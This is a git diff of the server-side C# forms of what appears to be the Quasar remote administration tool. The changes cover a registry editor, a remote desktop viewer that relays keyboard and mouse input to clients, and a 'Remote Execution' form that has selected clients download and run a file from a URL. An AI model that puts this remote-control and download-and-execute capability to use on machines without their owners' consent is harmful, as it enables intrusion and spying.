RegistryValueKind.DWord: + case RegistryValueKind.QWord: + return new FrmRegValueEditWord(value); + case RegistryValueKind.MultiString: + return new FrmRegValueEditMultiString(value); + case RegistryValueKind.Binary: + return new FrmRegValueEditBinary(value); + default: + return null; + } + } + + private void CreateEditForm(bool isBinary) + { + string keyPath = tvRegistryDirectory.SelectedNode.FullPath; + string name = lstRegistryValues.SelectedItems[0].Name; + RegValueData value = ((RegValueData[])tvRegistryDirectory.SelectedNode.Tag).ToList().Find(item => item.Name == name); + + // any kind can be edited as binary + RegistryValueKind kind = isBinary ? RegistryValueKind.Binary : value.Kind; + + using (var frm = GetEditForm(value, kind)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _registryHandler.ChangeRegistryValue(keyPath, (RegValueData) frm.Tag); + } + } + } + + #endregion + } +} diff --git a/Server/Forms/FrmRegistryEditor.resx b/Quasar.Server/Forms/FrmRegistryEditor.resx similarity index 99% rename from Server/Forms/FrmRegistryEditor.resx rename to Quasar.Server/Forms/FrmRegistryEditor.resx index bc03a77e0..5d2001585 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Quasar.Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAEoAQQBKAEEARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAFIAQUBSAEFARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAUgBAwFIAQMBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAWgBBAFoAQQBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs similarity index 96% rename from Server/Forms/FrmRemoteDesktop.Designer.cs rename to Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs index d95d536f4..96b8ffedc 100644 --- a/Server/Forms/FrmRemoteDesktop.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -1,4 +1,6 @@ -namespace xServer.Forms +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms { partial class FrmRemoteDesktop { @@ -42,7 +44,7 @@ private void InitializeComponent() this.btnHide = new System.Windows.Forms.Button(); this.btnShow = new System.Windows.Forms.Button(); this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); - this.picDesktop = new xServer.Controls.RapidPictureBox(); + this.picDesktop = new RapidPictureBox(); ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); this.panelTop.SuspendLayout(); ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); @@ -88,7 +90,7 @@ private void InitializeComponent() this.lblQuality.AutoSize = true; this.lblQuality.Location = new System.Drawing.Point(167, 5); this.lblQuality.Name = "lblQuality"; - this.lblQuality.Size = new System.Drawing.Size(47, 13); + this.lblQuality.Size = new System.Drawing.Size(46, 13); this.lblQuality.TabIndex = 4; this.lblQuality.Text = "Quality:"; // @@ -103,7 +105,7 @@ private void InitializeComponent() // // btnMouse // - this.btnMouse.Image = global::xServer.Properties.Resources.mouse_delete; + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; this.btnMouse.Location = new System.Drawing.Point(302, 5); this.btnMouse.Name = "btnMouse"; this.btnMouse.Size = new System.Drawing.Size(28, 28); @@ -125,14 +127,14 @@ private void InitializeComponent() this.panelTop.Controls.Add(this.btnStop); this.panelTop.Controls.Add(this.lblQuality); this.panelTop.Controls.Add(this.barQuality); - this.panelTop.Location = new System.Drawing.Point(189, 0); + this.panelTop.Location = new System.Drawing.Point(189, -1); this.panelTop.Name = "panelTop"; this.panelTop.Size = new System.Drawing.Size(384, 57); this.panelTop.TabIndex = 7; // // btnKeyboard // - this.btnKeyboard.Image = global::xServer.Properties.Resources.keyboard_delete; + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; this.btnKeyboard.Location = new System.Drawing.Point(336, 5); this.btnKeyboard.Name = "btnKeyboard"; this.btnKeyboard.Size = new System.Drawing.Size(28, 28); @@ -165,7 +167,7 @@ private void InitializeComponent() // // btnShow // - this.btnShow.Location = new System.Drawing.Point(377, 69); + this.btnShow.Location = new System.Drawing.Point(0, 0); this.btnShow.Name = "btnShow"; this.btnShow.Size = new System.Drawing.Size(54, 19); this.btnShow.TabIndex = 8; @@ -195,8 +197,8 @@ private void InitializeComponent() // // FrmRemoteDesktop // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(784, 562); this.Controls.Add(this.btnShow); this.Controls.Add(this.panelTop); diff --git a/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar.Server/Forms/FrmRemoteDesktop.cs new file mode 100644 index 000000000..ea3bfaf44 --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -0,0 +1,475 @@ +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteDesktop : Form + { + /// + /// States whether remote mouse input is enabled. + /// + private bool _enableMouseInput; + + /// + /// States whether remote keyboard input is enabled. + /// + private bool _enableKeyboardInput; + + /// + /// Holds the state of the local keyboard hooks. + /// + private IKeyboardMouseEvents _keyboardHook; + + /// + /// Holds the state of the local mouse hooks. + /// + private IKeyboardMouseEvents _mouseHook; + + /// + /// A list of pressed keys for synchronization between key down & -up events. + /// + private readonly List _keysPressed; + + /// + /// The client which can be used for the remote desktop. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RemoteDesktopHandler _remoteDesktopHandler; + + /// + /// Holds the opened remote desktop form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote desktop form. + /// + /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteDesktop r = new FrmRemoteDesktop(client); + r.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, r); + return r; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmRemoteDesktop(Client client) + { + _connectClient = client; + _remoteDesktopHandler = new RemoteDesktopHandler(client); + _keysPressed = new List(); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Registers the remote desktop message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; + _remoteDesktopHandler.ProgressChanged += UpdateImage; + MessageHandler.Register(_remoteDesktopHandler); + } + + /// + /// Unregisters the remote desktop message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_remoteDesktopHandler); + _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; + _remoteDesktopHandler.ProgressChanged -= UpdateImage; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Subscribes to local mouse and keyboard events for remote desktop input. + /// + private void SubscribeEvents() + { + // TODO: Check Hook.GlobalEvents vs Hook.AppEvents below + // TODO: Maybe replace library with .NET events like on Linux + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown += OnKeyDown; + this.KeyUp += OnKeyUp; + } + else // Windows + { + _keyboardHook = Hook.GlobalEvents(); + _keyboardHook.KeyDown += OnKeyDown; + _keyboardHook.KeyUp += OnKeyUp; + + _mouseHook = Hook.AppEvents(); + _mouseHook.MouseWheel += OnMouseWheelMove; + } + } + + /// + /// Unsubscribes from local mouse and keyboard events. + /// + private void UnsubscribeEvents() + { + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown -= OnKeyDown; + this.KeyUp -= OnKeyUp; + } + else // Windows + { + if (_keyboardHook != null) + { + _keyboardHook.KeyDown -= OnKeyDown; + _keyboardHook.KeyUp -= OnKeyUp; + _keyboardHook.Dispose(); + } + if (_mouseHook != null) + { + _mouseHook.MouseWheel -= OnMouseWheelMove; + _mouseHook.Dispose(); + } + } + } + + /// + /// Starts the remote desktop stream and begin to receive desktop frames. + /// + private void StartStream() + { + ToggleConfigurationControls(true); + + picDesktop.Start(); + // Subscribe to the new frame counter. + picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex); + } + + /// + /// Stops the remote desktop stream. + /// + private void StopStream() + { + ToggleConfigurationControls(false); + + picDesktop.Stop(); + // Unsubscribe from the frame counter. It will be re-created when starting again. + picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.EndReceiveFrames(); + } + + /// + /// Toggles the activatability of configuration controls in the status/configuration panel. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationControls(bool started) + { + btnStart.Enabled = !started; + btnStop.Enabled = started; + barQuality.Enabled = !started; + cbMonitors.Enabled = !started; + } + + /// + /// Toggles the visibility of the status/configuration panel. + /// + /// Decides if the panel should be visible. + private void TogglePanelVisibility(bool visible) + { + panelTop.Visible = visible; + btnShow.Visible = !visible; + this.ActiveControl = picDesktop; + } + + /// + /// Called whenever the remote displays changed. + /// + /// The message handler which raised the event. + /// The currently available displays. + private void DisplaysChanged(object sender, int displays) + { + cbMonitors.Items.Clear(); + for (int i = 0; i < displays; i++) + cbMonitors.Items.Add($"Display {i + 1}"); + cbMonitors.SelectedIndex = 0; + } + + /// + /// Updates the current desktop image by drawing it to the desktop picturebox. + /// + /// The message handler which raised the event. + /// The new desktop image to draw. + private void UpdateImage(object sender, Bitmap bmp) + { + picDesktop.UpdateImage(bmp, false); + } + + private void FrmRemoteDesktop_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Remote Desktop", _connectClient); + + OnResize(EventArgs.Empty); // trigger resize event to align controls + + _remoteDesktopHandler.RefreshDisplays(); + } + + /// + /// Updates the title with the current frames per second. + /// + /// The new frames per second. + private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) + { + this.Text = string.Format("{0} - FPS: {1}", WindowHelper.GetWindowTitle("Remote Desktop", _connectClient), e.CurrentFramesPerSecond.ToString("0.00")); + } + + private void FrmRemoteDesktop_FormClosing(object sender, FormClosingEventArgs e) + { + // all cleanup logic goes here + UnsubscribeEvents(); + if (_remoteDesktopHandler.IsStarted) StopStream(); + UnregisterMessageHandler(); + _remoteDesktopHandler.Dispose(); + picDesktop.Image?.Dispose(); + } + + private void FrmRemoteDesktop_Resize(object sender, EventArgs e) + { + if (WindowState == FormWindowState.Minimized) + return; + + _remoteDesktopHandler.LocalResolution = picDesktop.Size; + panelTop.Left = (this.Width - panelTop.Width) / 2; + btnShow.Left = (this.Width - btnShow.Width) / 2; + btnHide.Left = (panelTop.Width - btnHide.Width) / 2; + } + + private void btnStart_Click(object sender, EventArgs e) + { + if (cbMonitors.Items.Count == 0) + { + MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", + "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + SubscribeEvents(); + StartStream(); + } + + private void btnStop_Click(object sender, EventArgs e) + { + UnsubscribeEvents(); + StopStream(); + } + + #region Remote Desktop Input + + private void picDesktop_MouseDown(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftDown; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightDown; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, true, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseUp(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + MouseAction action = MouseAction.None; + + if (e.Button == MouseButtons.Left) + action = MouseAction.LeftUp; + if (e.Button == MouseButtons.Right) + action = MouseAction.RightUp; + + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(action, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void picDesktop_MouseMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + int selectedDisplayIndex = cbMonitors.SelectedIndex; + + _remoteDesktopHandler.SendMouseEvent(MouseAction.MoveCursor, false, e.X, e.Y, selectedDisplayIndex); + } + } + + private void OnMouseWheelMove(object sender, MouseEventArgs e) + { + if (picDesktop.Image != null && _enableMouseInput && this.ContainsFocus) + { + _remoteDesktopHandler.SendMouseEvent(e.Delta == 120 ? MouseAction.ScrollUp : MouseAction.ScrollDown, + false, 0, 0, cbMonitors.SelectedIndex); + } + } + + private void OnKeyDown(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + if (_keysPressed.Contains(e.KeyCode)) + return; + + _keysPressed.Add(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, true); + } + } + + private void OnKeyUp(object sender, KeyEventArgs e) + { + if (picDesktop.Image != null && _enableKeyboardInput && this.ContainsFocus) + { + if (!IsLockKey(e.KeyCode)) + e.Handled = true; + + _keysPressed.Remove(e.KeyCode); + + _remoteDesktopHandler.SendKeyboardEvent((byte)e.KeyCode, false); + } + } + + private bool IsLockKey(Keys key) + { + return ((key & Keys.CapsLock) == Keys.CapsLock) + || ((key & Keys.NumLock) == Keys.NumLock) + || ((key & Keys.Scroll) == Keys.Scroll); + } + + #endregion + + #region Remote Desktop Configuration + + private void barQuality_Scroll(object sender, EventArgs e) + { + int value = barQuality.Value; + lblQualityShow.Text = value.ToString(); + + if (value < 25) + lblQualityShow.Text += " (low)"; + else if (value >= 85) + lblQualityShow.Text += " (best)"; + else if (value >= 75) + lblQualityShow.Text += " (high)"; + else if (value >= 25) + lblQualityShow.Text += " (mid)"; + + this.ActiveControl = picDesktop; + } + + private void btnMouse_Click(object sender, EventArgs e) + { + if (_enableMouseInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnMouse.Image = Properties.Resources.mouse_delete; + toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); + _enableMouseInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnMouse.Image = Properties.Resources.mouse_add; + toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); + _enableMouseInput = true; + } + + this.ActiveControl = picDesktop; + } + + private void btnKeyboard_Click(object sender, EventArgs e) + { + if (_enableKeyboardInput) + { + this.picDesktop.Cursor = Cursors.Default; + btnKeyboard.Image = Properties.Resources.keyboard_delete; + toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); + _enableKeyboardInput = false; + } + else + { + this.picDesktop.Cursor = Cursors.Hand; + btnKeyboard.Image = Properties.Resources.keyboard_add; + toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); + _enableKeyboardInput = true; + } + + this.ActiveControl = picDesktop; + } + + #endregion + + private void btnHide_Click(object sender, EventArgs e) + { + TogglePanelVisibility(false); + } + + private void btnShow_Click(object sender, EventArgs e) + { + TogglePanelVisibility(true); + } + } +} diff --git a/Server/Forms/FrmRemoteDesktop.resx b/Quasar.Server/Forms/FrmRemoteDesktop.resx similarity index 100% rename from Server/Forms/FrmRemoteDesktop.resx rename to Quasar.Server/Forms/FrmRemoteDesktop.resx diff --git a/Server/Forms/FrmUpdate.Designer.cs b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs similarity index 65% rename from Server/Forms/FrmUpdate.Designer.cs rename to Quasar.Server/Forms/FrmRemoteExecution.Designer.cs index 9dd13a034..5cb040822 100644 --- a/Server/Forms/FrmUpdate.Designer.cs +++ b/Quasar.Server/Forms/FrmRemoteExecution.Designer.cs @@ -1,6 +1,6 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { - partial class FrmUpdate + partial class FrmRemoteExecution { /// /// Required designer variable. @@ -28,11 +28,10 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmUpdate)); - this.btnUpdate = new System.Windows.Forms.Button(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteExecution)); + this.btnExecute = new System.Windows.Forms.Button(); this.txtURL = new System.Windows.Forms.TextBox(); this.lblURL = new System.Windows.Forms.Label(); - this.lblInformation = new System.Windows.Forms.Label(); this.groupLocalFile = new System.Windows.Forms.GroupBox(); this.btnBrowse = new System.Windows.Forms.Button(); this.txtPath = new System.Windows.Forms.TextBox(); @@ -40,19 +39,23 @@ private void InitializeComponent() this.groupURL = new System.Windows.Forms.GroupBox(); this.radioLocalFile = new System.Windows.Forms.RadioButton(); this.radioURL = new System.Windows.Forms.RadioButton(); + this.lstTransfers = new Quasar.Server.Controls.AeroListView(); + this.hClient = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hStatus = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.chkUpdate = new System.Windows.Forms.CheckBox(); this.groupLocalFile.SuspendLayout(); this.groupURL.SuspendLayout(); this.SuspendLayout(); // - // btnUpdate + // btnExecute // - this.btnUpdate.Location = new System.Drawing.Point(353, 240); - this.btnUpdate.Name = "btnUpdate"; - this.btnUpdate.Size = new System.Drawing.Size(138, 23); - this.btnUpdate.TabIndex = 5; - this.btnUpdate.Text = "Update Client"; - this.btnUpdate.UseVisualStyleBackColor = true; - this.btnUpdate.Click += new System.EventHandler(this.btnUpdate_Click); + this.btnExecute.Location = new System.Drawing.Point(353, 459); + this.btnExecute.Name = "btnExecute"; + this.btnExecute.Size = new System.Drawing.Size(138, 23); + this.btnExecute.TabIndex = 6; + this.btnExecute.Text = "Execute remotely"; + this.btnExecute.UseVisualStyleBackColor = true; + this.btnExecute.Click += new System.EventHandler(this.btnExecute_Click); // // txtURL // @@ -69,16 +72,6 @@ private void InitializeComponent() this.lblURL.Size = new System.Drawing.Size(30, 13); this.lblURL.TabIndex = 0; this.lblURL.Text = "URL:"; - // - // lblInformation - // - this.lblInformation.AutoSize = true; - this.lblInformation.Location = new System.Drawing.Point(12, 231); - this.lblInformation.Name = "lblInformation"; - this.lblInformation.Size = new System.Drawing.Size(306, 26); - this.lblInformation.TabIndex = 4; - this.lblInformation.Text = "Please be sure to use the same settings in your new client.\r\nMake sure the file e" + - "xists."; // // groupLocalFile // @@ -135,10 +128,10 @@ private void InitializeComponent() this.radioLocalFile.Checked = true; this.radioLocalFile.Location = new System.Drawing.Point(12, 12); this.radioLocalFile.Name = "radioLocalFile"; - this.radioLocalFile.Size = new System.Drawing.Size(140, 17); + this.radioLocalFile.Size = new System.Drawing.Size(110, 17); this.radioLocalFile.TabIndex = 0; this.radioLocalFile.TabStop = true; - this.radioLocalFile.Text = "Update from Local File"; + this.radioLocalFile.Text = "Execute local file"; this.radioLocalFile.UseVisualStyleBackColor = true; this.radioLocalFile.CheckedChanged += new System.EventHandler(this.radioLocalFile_CheckedChanged); // @@ -147,33 +140,70 @@ private void InitializeComponent() this.radioURL.AutoSize = true; this.radioURL.Location = new System.Drawing.Point(12, 116); this.radioURL.Name = "radioURL"; - this.radioURL.Size = new System.Drawing.Size(113, 17); + this.radioURL.Size = new System.Drawing.Size(114, 17); this.radioURL.TabIndex = 2; - this.radioURL.Text = "Update from URL"; + this.radioURL.Text = "Execute from URL"; this.radioURL.UseVisualStyleBackColor = true; this.radioURL.CheckedChanged += new System.EventHandler(this.radioURL_CheckedChanged); // - // FrmUpdate - // - this.AcceptButton = this.btnUpdate; - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(503, 275); + // lstTransfers + // + this.lstTransfers.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTransfers.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hClient, + this.hStatus}); + this.lstTransfers.FullRowSelect = true; + this.lstTransfers.GridLines = true; + this.lstTransfers.HideSelection = false; + this.lstTransfers.Location = new System.Drawing.Point(12, 220); + this.lstTransfers.Name = "lstTransfers"; + this.lstTransfers.Size = new System.Drawing.Size(479, 233); + this.lstTransfers.TabIndex = 4; + this.lstTransfers.UseCompatibleStateImageBehavior = false; + this.lstTransfers.View = System.Windows.Forms.View.Details; + // + // hClient + // + this.hClient.Text = "Client"; + this.hClient.Width = 302; + // + // hStatus + // + this.hStatus.Text = "Status"; + this.hStatus.Width = 173; + // + // chkUpdate + // + this.chkUpdate.AutoSize = true; + this.chkUpdate.Location = new System.Drawing.Point(180, 463); + this.chkUpdate.Name = "chkUpdate"; + this.chkUpdate.Size = new System.Drawing.Size(167, 17); + this.chkUpdate.TabIndex = 5; + this.chkUpdate.Text = "Update clients with this file"; + this.chkUpdate.UseVisualStyleBackColor = true; + // + // FrmRemoteExecution + // + this.AcceptButton = this.btnExecute; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(503, 494); + this.Controls.Add(this.chkUpdate); + this.Controls.Add(this.lstTransfers); this.Controls.Add(this.radioURL); this.Controls.Add(this.radioLocalFile); - this.Controls.Add(this.lblInformation); this.Controls.Add(this.groupURL); this.Controls.Add(this.groupLocalFile); - this.Controls.Add(this.btnUpdate); + this.Controls.Add(this.btnExecute); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximizeBox = false; - this.MinimizeBox = false; - this.Name = "FrmUpdate"; + this.Name = "FrmRemoteExecution"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "Update []"; - this.Load += new System.EventHandler(this.FrmUpdate_Load); + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteExecution_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteExecution_Load); this.groupLocalFile.ResumeLayout(false); this.groupLocalFile.PerformLayout(); this.groupURL.ResumeLayout(false); @@ -185,10 +215,9 @@ private void InitializeComponent() #endregion - private System.Windows.Forms.Button btnUpdate; + private System.Windows.Forms.Button btnExecute; private System.Windows.Forms.TextBox txtURL; private System.Windows.Forms.Label lblURL; - private System.Windows.Forms.Label lblInformation; private System.Windows.Forms.GroupBox groupLocalFile; private System.Windows.Forms.TextBox txtPath; private System.Windows.Forms.Label label1; @@ -196,5 +225,9 @@ private void InitializeComponent() private System.Windows.Forms.RadioButton radioLocalFile; private System.Windows.Forms.RadioButton radioURL; private System.Windows.Forms.Button btnBrowse; + private Controls.AeroListView lstTransfers; + private System.Windows.Forms.ColumnHeader hClient; + private System.Windows.Forms.ColumnHeader hStatus; + private System.Windows.Forms.CheckBox chkUpdate; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar.Server/Forms/FrmRemoteExecution.cs new file mode 100644 index 000000000..3b8888352 --- /dev/null +++ b/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -0,0 +1,213 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteExecution : Form + { + private class RemoteExecutionMessageHandler + { + public FileManagerHandler FileHandler; + public TaskManagerHandler TaskHandler; + } + + /// + /// The clients which can be used for the remote execution. + /// + private readonly Client[] _clients; + + private readonly List _remoteExecutionMessageHandlers; + + private enum TransferColumn + { + Client, + Status + } + + private bool _isUpdate; + + public FrmRemoteExecution(Client[] clients) + { + _clients = clients; + _remoteExecutionMessageHandlers = new List(clients.Length); + + InitializeComponent(); + + foreach (var client in clients) + { + var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler + { + FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client) + }; + + var lvi = new ListViewItem(new[] + { + $"{client.Value.Username}@{client.Value.PcName} [{client.EndPoint.Address}:{client.EndPoint.Port}]", + "Waiting..." + }) {Tag = remoteExecutionMessageHandler}; + + lstTransfers.Items.Add(lvi); + _remoteExecutionMessageHandlers.Add(remoteExecutionMessageHandler); + RegisterMessageHandler(remoteExecutionMessageHandler); + } + } + + /// + /// Registers the message handlers for client communication. + /// + private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + // TODO handle disconnects + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed; + remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); + MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler); + } + + /// + /// Unregisters the message handlers. + /// + private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) + { + MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler); + MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); + remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; + remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed; + } + + private void FrmRemoteExecution_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Remote Execution", _clients.Length); + } + + private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs e) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + UnregisterMessageHandler(handler); + handler.FileHandler.Dispose(); + } + + _remoteExecutionMessageHandlers.Clear(); + lstTransfers.Items.Clear(); + } + + private void btnExecute_Click(object sender, EventArgs e) + { + _isUpdate = chkUpdate.Checked; + + if (radioURL.Checked) + { + foreach (var handler in _remoteExecutionMessageHandlers) + { + if (!txtURL.Text.StartsWith("http")) + txtURL.Text = "http://" + txtURL.Text; + + handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); + } + } + else + { + foreach (var handler in _remoteExecutionMessageHandlers) + 